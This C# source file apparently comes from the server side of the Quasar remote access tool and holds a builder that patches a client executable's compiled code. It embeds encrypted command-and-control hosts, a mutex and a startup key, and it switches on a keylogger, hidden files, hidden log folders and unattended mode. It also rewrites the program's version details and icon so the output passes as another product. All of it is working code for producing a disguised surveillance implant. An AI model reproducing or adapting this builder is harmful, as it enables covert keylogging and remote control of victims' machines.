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i2p
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using Mono.Cecil;
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using Mono.Cecil.Cil;
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using Quasar.Common.Cryptography;
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using Quasar.Server.Models;
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using System;
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using System.Security.Cryptography;
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using System.Security.Cryptography.X509Certificates;
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using System.Text;
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using Vestris.ResourceLib;
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namespace Quasar.Server.Build
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{
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/// <summary>
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/// Provides methods used to create a custom client executable.
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/// </summary>
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public class ClientBuilder
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{
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private readonly BuildOptions _options;
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private readonly string _clientFilePath;
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public ClientBuilder(BuildOptions options, string clientFilePath)
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{
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_options = options;
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_clientFilePath = clientFilePath;
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}
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/// <summary>
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/// Builds a client executable.
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/// </summary>
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public void Build()
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{
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using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(_clientFilePath))
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{
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// PHASE 1 - Writing settings
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WriteSettings(asmDef);
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// PHASE 2 - Renaming
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Renamer r = new Renamer(asmDef);
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if (!r.Perform())
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throw new Exception("renaming failed");
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// PHASE 3 - Saving
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r.AsmDef.Write(_options.OutputPath);
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}
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// PHASE 4 - Assembly Information changing
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if (_options.AssemblyInformation != null)
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{
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VersionResource versionResource = new VersionResource();
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versionResource.LoadFrom(_options.OutputPath);
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versionResource.FileVersion = _options.AssemblyInformation[7];
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versionResource.ProductVersion = _options.AssemblyInformation[6];
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versionResource.Language = 0;
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StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"];
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stringFileInfo["CompanyName"] = _options.AssemblyInformation[2];
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stringFileInfo["FileDescription"] = _options.AssemblyInformation[1];
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stringFileInfo["ProductName"] = _options.AssemblyInformation[0];
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stringFileInfo["LegalCopyright"] = _options.AssemblyInformation[3];
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stringFileInfo["LegalTrademarks"] = _options.AssemblyInformation[4];
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stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
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stringFileInfo["FileVersion"] = versionResource.FileVersion;
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stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
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stringFileInfo["InternalName"] = _options.AssemblyInformation[5];
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stringFileInfo["OriginalFilename"] = _options.AssemblyInformation[5];
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versionResource.SaveTo(_options.OutputPath);
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}
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// PHASE 5 - Icon changing
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if (!string.IsNullOrEmpty(_options.IconPath))
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{
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IconFile iconFile = new IconFile(_options.IconPath);
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IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile);
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iconDirectoryResource.SaveTo(_options.OutputPath);
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}
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}
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private void WriteSettings(AssemblyDefinition asmDef)
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{
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var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable);
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var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important!
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var key = serverCertificate.Thumbprint;
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var aes = new Aes256(key);
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byte[] signature;
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// https://stackoverflow.com/a/49777672 RSACryptoServiceProvider must be changed with .NET 4.6
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using (var csp = (RSACryptoServiceProvider) caCertificate.PrivateKey)
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{
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var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key));
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signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256"));
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}
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foreach (var typeDef in asmDef.Modules[0].Types)
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{
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if (typeDef.FullName == "Quasar.Client.Config.Settings")
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{
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foreach (var methodDef in typeDef.Methods)
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{
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if (methodDef.Name == ".cctor")
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{
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int strings = 1, bools = 1;
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for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
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{
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if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) // string
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{
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switch (strings)
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{
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case 1: //version
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methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Version);
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break;
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case 2: //ip/hostname
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methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.RawHosts);
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break;
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case 3: //installsub
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methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallSub);
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break;
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case 4: //installname
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methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallName);
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break;
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case 5: //mutex
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methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Mutex);
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break;
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case 6: //startupkey
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methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.StartupName);
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break;
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case 7: //encryption key
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methodDef.Body.Instructions[i].Operand = key;
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break;
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case 8: //tag
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methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Tag);
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break;
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case 9: //LogDirectoryName
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methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName);
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break;
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case 10: //ServerSignature
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methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature));
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break;
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case 11: //ServerCertificate
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methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)));
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break;
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}
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strings++;
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}
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else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_1 ||
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methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_0) // bool
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{
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switch (bools)
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{
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case 1: //install
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methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Install));
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break;
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case 2: //startup
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methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Startup));
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break;
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case 3: //hidefile
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methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideFile));
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break;
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case 4: //Keylogger
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methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Keylogger));
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break;
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case 5: //HideLogDirectory
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methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideLogDirectory));
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break;
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case 6: // HideInstallSubdirectory
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methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideInstallSubdirectory));
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break;
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case 7: // UnattendedMode
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methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.UnattendedMode));
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break;
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}
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bools++;
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}
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else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4) // int
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{
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//reconnectdelay
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methodDef.Body.Instructions[i].Operand = _options.Delay;
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}
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else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_S) // sbyte
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{
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methodDef.Body.Instructions[i].Operand = GetSpecialFolder(_options.InstallPath);
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}
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}
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}
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}
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}
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}
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}
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/// <summary>
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/// Obtains the OpCode that corresponds to the bool value provided.
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/// </summary>
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/// <param name="p">The value to convert to the OpCode</param>
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/// <returns>Returns the OpCode that represents the value provided.</returns>
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private OpCode BoolOpCode(bool p)
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{
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return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0;
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}
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/// <summary>
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/// Attempts to obtain the signed-byte value of a special folder from the install path value provided.
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/// </summary>
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/// <param name="installPath">The integer value of the install path.</param>
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/// <returns>Returns the signed-byte value of the special folder.</returns>
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/// <exception cref="ArgumentException">Thrown if the path to the special folder was invalid.</exception>
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private sbyte GetSpecialFolder(int installPath)
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{
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switch (installPath)
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{
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case 1:
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return (sbyte)Environment.SpecialFolder.ApplicationData;
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case 2:
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return (sbyte)Environment.SpecialFolder.ProgramFiles;
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case 3:
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return (sbyte)Environment.SpecialFolder.System;
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default:
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throw new ArgumentException("InstallPath");
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}
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}
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}
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}
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